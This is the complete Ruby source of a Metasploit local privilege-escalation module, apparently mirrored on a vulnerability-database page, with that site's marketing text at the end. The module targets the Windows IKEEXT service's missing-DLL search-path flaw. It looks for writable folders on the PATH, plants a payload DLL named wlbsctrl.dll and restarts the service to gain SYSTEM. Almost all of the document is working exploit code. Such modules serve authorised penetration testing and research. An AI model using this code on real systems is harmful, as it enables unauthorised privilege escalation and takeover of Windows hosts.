##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = GoodRanking
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Services
include Msf::Post::Windows::Accounts
def initialize(info = {})
super(
update_info(
info,
'Name' => 'IKE and AuthIP IPsec Keyring Modules Service (IKEEXT) Missing DLL',
'Description' => %q{
This module exploits a missing DLL loaded by the 'IKE and AuthIP Keyring Modules'
(IKEEXT) service which runs as SYSTEM, and starts automatically in default
installations of Vista-Win8. It requires an insecure bin path to plant the DLL payload.
},
'References' => [
['URL', 'https://www.htbridge.com/advisory/HTB23108'],
['URL', 'https://www.htbridge.com/vulnerability/uncontrolled-search-path-element.html']
],
'DisclosureDate' => '2012-10-09',
'License' => MSF_LICENSE,
'Author' => [
'Ben Campbell'
],
'Platform' => [ 'win'],
'Targets' => [
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
],
'SessionTypes' => [ "meterpreter" ],
'DefaultOptions' => {
'EXITFUNC' => 'thread',
'WfsDelay' => 5,
'ReverseConnectRetries' => 255
},
'DefaultTarget' => 0,
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_fs_mkdir
]
}
}
)
)
register_options([
OptString.new("DIR", [ false, "Specify a directory to plant the DLL.", ""])
])
@service_name = 'IKEEXT'
@load_lib_search_path = [
'%SystemRoot%\\System32',
'%SystemRoot%\\System',
'%SystemRoot%'
]
@non_existant_dirs = []
end
def check
if !service_exists?(@service_name)
return Exploit::CheckCode::Safe
end
srv_info = service_info(@service_name)
vprint_status(srv_info.to_s)
case START_TYPE[srv_info[:starttype]]
when 'Disabled'
vprint_error("Service startup is Disabled, so will be unable to exploit unless account has correct permissions...")
return Exploit::CheckCode::Safe
when 'Manual'
vprint_error("Service startup is Manual, so will be unable to exploit unless account has correct permissions...")
return Exploit::CheckCode::Safe
when 'Auto'
vprint_good("Service is set to Automatically start...")
end
if check_search_path
return Exploit::CheckCode::Safe
end
return Exploit::CheckCode::Appears
end
def check_search_path
dll = 'wlbsctrl.dll'
@load_lib_search_path.each do |path|
dll_path = "#{expand_path(path)}\\#{dll}"
if file_exist?(dll_path)
print_warning("DLL already exists at #{dll_path}...")
return true
end
end
return false
end
def check_system_path
print_status("Checking %PATH% folders for write access...")
result = registry_getvaldata('HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment', 'Path')
if result.nil?
print_error("Unable to retrieve %PATH% from registry.")
return
end
paths = result.split(';')
paths.append(@load_lib_search_path).flatten!.uniq!
paths.each do |p|
path = expand_path(p)
if exist?(path)
if check_write_access(path)
return path
end
else
# User may be able to create the path...
print_status("Path #{path} does not exist...")
@non_existant_dirs << path
end
end
return nil
end
def check_write_access(path)
perm = check_dir_perms(path, @token)
if perm and perm.include?('W')
print_good("Write permissions in #{path} - #{perm}")
return true
elsif perm
vprint_status ("Permissions for #{path} - #{perm}")
else
vprint_status ("No permissions for #{path}")
end
return false
end
def check_dirs
print_status("Attempting to create a non-existant PATH dir to use.")
@non_existant_dirs.each do |directory|
begin
client.fs.dir.mkdir(directory)
if exist?(directory)
register_file_for_cleanup(directory)
return directory
end
rescue Rex::Post::Meterpreter::RequestError => e
vprint_status("Unable to create dir: #{directory} - #{e}")
end
end
return nil
end
def check_session_arch
if sysinfo['Architecture'] == ARCH_X64
if payload_instance.arch.first == ARCH_X86
fail_with(Failure::BadConfig, "Wrong Payload Architecture")
end
else
if payload_instance.arch.first == ARCH_X64
fail_with(Failure::BadConfig, "Wrong Payload Architecture")
end
end
end
def exploit
check_session_arch
begin
@token = get_imperstoken
rescue Rex::Post::Meterpreter::RequestError
vprint_error("Error while using get_imperstoken: #{e}")
end
fail_with(Failure::Unknown, "Unable to retrieve token.") unless @token
if is_system?
fail_with(Failure::Unknown, "Current user is already SYSTEM, aborting.")
end
print_status("Checking service exists...")
if !service_exists?(@service_name)
fail_with(Failure::NoTarget, "The service doesn't exist.")
end
if is_uac_enabled?
print_warning("UAC is enabled, may get false negatives on writable folders.")
end
if datastore['DIR'].empty?
# If DLL already exists in system folders, we dont want to overwrite by accident
if check_search_path
fail_with(Failure::NotVulnerable, "DLL already exists in system folders.")
end
file_path = check_system_path
file_path ||= check_dirs # If no paths are writable check to see if we can create any of the non-existant dirs
if file_path.nil?
fail_with(Failure::NotVulnerable, "Unable to write to any folders in the PATH, aborting...")
end
else
# Use manually selected Dir
file_path = datastore['DIR']
end
@dll_file_path = "#{file_path}\\wlbsctrl.dll"
service_information = service_info(@service_name)
# Check architecture
dll = generate_payload_dll
#
# Drop the malicious executable into the path
#
print_status("Writing #{dll.length.to_s} bytes to #{@dll_file_path}...")
begin
write_file(@dll_file_path, dll)
register_file_for_cleanup(@dll_file_path)
rescue Rex::Post::Meterpreter::RequestError => e
# Can't write the file, can't go on
fail_with(Failure::Unknown, e.message)
end
#
# Run the service, let the Windows API do the rest
#
print_status("Launching service #{@service_name}...")
if service_restart(@service_name)
print_status("Service started...")
else
service_information = service_info(@service_name)
if service_information[:starttype] == START_TYPE_AUTO
if job_id
print_status("Unable to start service, handler running waiting for a reboot...")
while (true)
break if session_created?
select(nil, nil, nil, 1)
end
else
fail_with(Failure::Unknown, "Unable to start service, use exploit -j to run as a background job and wait for a reboot...")
end
else
fail_with(Failure::Unknown, "Unable to start service, and it does not auto start, cleaning up...")
end
end
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation